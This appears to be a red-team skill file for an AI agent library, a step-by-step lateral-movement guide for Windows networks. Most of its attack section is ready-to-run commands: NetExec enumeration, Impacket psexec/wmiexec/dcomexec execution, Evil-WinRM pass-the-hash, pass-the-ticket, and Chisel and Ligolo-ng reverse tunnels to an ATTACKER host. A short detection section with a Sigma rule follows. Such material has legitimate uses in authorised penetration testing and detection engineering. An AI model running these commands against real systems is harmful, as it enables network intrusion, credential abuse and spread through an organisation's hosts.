<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: performing-lateral-movement
description: >-
  Move laterally using Pass-the-Hash, Pass-the-Ticket, WMI, PSRemoting, SMB
  execution, and network pivoting with Chisel and Ligolo-ng.
domain: cybersecurity
subdomain: red-team
tags:
  - lateral-movement
  - pass-the-hash
  - pass-the-ticket
  - wmi
  - pivoting
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1021.002", "T1021.003", "T1021.006", "T1550.002"]
  tools: ["impacket", "netexec", "evil-winrm", "chisel", "ligolo-ng"]
---

# Performing Lateral Movement

## Overview

Lateral movement enables pivoting through networks using harvested credentials,
tokens, or Kerberos tickets to reach high-value targets.

## Prerequisites

- Compromised credentials (plaintext, NTLM hash, or Kerberos ticket)
- Network access to targets (SMB/445, WinRM/5985, WMI/135)

```bash
pip install impacket netexec
gem install evil-winrm
```

## Key Concepts

### Protocol Comparison

| Protocol | Port | Stealth | Admin Required |
|----------|------|---------|---------------|
| SMB (PsExec) | 445 | Low | Yes |
| WMI | 135 | Medium | Yes |
| WinRM | 5985 | Medium | Yes |
| DCOM | 135 | High | Yes |

## Workflow

### Step 1: Enumerate Access

```bash
nxc smb 10.10.10.0/24 -u admin -p 'Password1' --shares
nxc winrm 10.10.10.0/24 -u admin -p 'Password1'
```

### Step 2: SMB Execution

```bash
psexec.py 'CORP/admin:Password1@10.10.10.50'
smbexec.py 'CORP/admin:Password1@10.10.10.50'
nxc smb 10.10.10.50 -u admin -p 'Password1' -x 'whoami'
```

### Step 3: WMI Execution

```bash
wmiexec.py 'CORP/admin:Password1@10.10.10.50'
dcomexec.py 'CORP/admin:Password1@10.10.10.50'
```

### Step 4: WinRM

```bash
evil-winrm -i 10.10.10.50 -u admin -p 'Password1'
evil-winrm -i 10.10.10.50 -u admin -H NT_HASH
```

### Step 5: Pass-the-Ticket

```bash
export KRB5CCNAME=/tmp/admin.ccache
psexec.py -k -no-pass CORP/admin@dc01.corp.local
```

### Step 6: Pivoting

```bash
# Chisel
chisel server -p 8888 --reverse
chisel client ATTACKER:8888 R:1080:socks

# Ligolo-ng
ligolo-proxy -selfcert -laddr 0.0.0.0:11601
ligolo-agent -connect ATTACKER:11601 -ignore-cert
```

## Detection Opportunities

| Signal | Source | Description |
|--------|--------|------------|
| Event ID 7045 | System | New service (PsExec) |
| Event ID 4648 | Security | Explicit credential logon |

```yaml
title: PsExec Service Installation
id: e1f6a4b8-3c5d-47e2-9a1b-6d8f2c4e7a3b
status: experimental
logsource:
  product: windows
  service: system
detection:
  selection:
    EventID: 7045
    ServiceFileName|contains: ['ADMIN$', 'cmd.exe /c']
  condition: selection
falsepositives:
  - Remote administration tools
level: high
tags:
  - attack.lateral_movement
  - attack.t1021.002
```

## Verification

- [ ] Target hosts accessible with credentials
- [ ] Lateral movement executed
- [ ] Pivoting configured
- [ ] Detection artifacts documented

## References

- [MITRE Lateral Movement](https://attack.mitre.org/tactics/TA0008/)
- [Impacket](https://github.com/fortra/impacket)
- [Evil-WinRM](https://github.com/Hackplayers/evil-winrm)
- [Chisel](https://github.com/jpillora/chisel)
